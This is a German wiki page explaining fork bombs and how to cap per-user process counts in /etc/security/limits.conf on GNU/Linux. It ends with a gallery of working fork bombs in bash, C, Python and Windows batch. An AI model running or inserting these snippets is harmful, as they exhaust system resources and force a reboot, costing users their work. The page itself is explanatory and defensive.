Was sind das?

Fork-Bombs sind eine Unterkategorie von Wabbits, Programme deren einziges Ziel die massenhafte Selbstreplikation ist. In einer Endlosschleife wird fortlaufend eine Kopie des eigenen Programms erzeugt, welche wiederum eigene Kopien erzeugt usw. - dies geschieht solange, bis die Ressourcen des Compuersystems aufgebraucht sind.

Fork-Bombs speziell nutzen zur Replikation die Fork-Funktion (fork, engl. = Gabelung, Verzweigung).

Was bewirken sie?

Durch die rasante Selbstreplikation ist die maximal mögliche Zahl der simultan laufenden Prozesse schnell überschritten - somit können keine weiteren gestartet werden. Alle diese Kinder-Prozesse der Eltern-Fork-Bomb fressen Arbeitsspeicher und CPU-Leistung die damit anderen Prozessen fehlt. Dies führt von der Ausbremsung des gesamten Systems bis zur kompletten Unbenutzbarkeit (nix geht mehr). In diesem Fall ist ein kompletter Reboot des Systems die einzige Möglichkeit alle Instanzen der Fork-Bomb zu killen.

Gegenmaßnahmen

Unter GNU/Linux kann in einer Konfigurationsdatei die maximale Anzahl an Prozessen, die ein user gleichzeitig starten kann begrenzt werden. Dazu müssen in der /etc/security/limits.conf entsprechde Einträge hinzugefügt werden.

1. root werden

schmalz@ohr:~$ su
Password: 
ohr:/home/schmalz#

2. Konfigurationsdatei mit einem Texteditor öffnen

ohr:/home/schmalz# nano /etc/security/limits.conf

3. Prozess-Limits in die Datei schreiben

schmalz soft nproc 300
schmalz hard nproc 500

# End of file

So kann schmalz maximal 500 Prozesse gleichzeitug ausführen - der Verstopfung des Ohres mit Schmalz ist somit ein Riegel vorgeschoben. Falls der user 'tinnitus' auch eine Prozessbegrenzung erhalten soll, müssen entsprechende Einträge hinzugefügt werden. Gehören beide der Gruppe 'users' an, kann auch für alle Mitglieder dieser Gruppe eine Prozessbegrenzung gesetzt werden. Dabei ist der username durch @users zu ersetzten.

Fork-Bomb Gallerie

Bash Bombs

:(){ :|:& };:

(:(){ :|:;};:)

unter C

 #include <unistd.h>
int main(void)
{
  while(1) { 
    fork(); 
  } 
  return 0; 
} 

Python Forks

#/usr/bin/python 
import os
while(1): 
    os.fork()

Batch-Datei unter Windoze

:s
start %0
goto s

ForkBombs (zuletzt geändert am 2012-06-13 21:26:25 durch anonym)


Creative Commons Lizenzvertrag
This page is licensed under a Creative Commons Attribution-ShareAlike 2.5 License.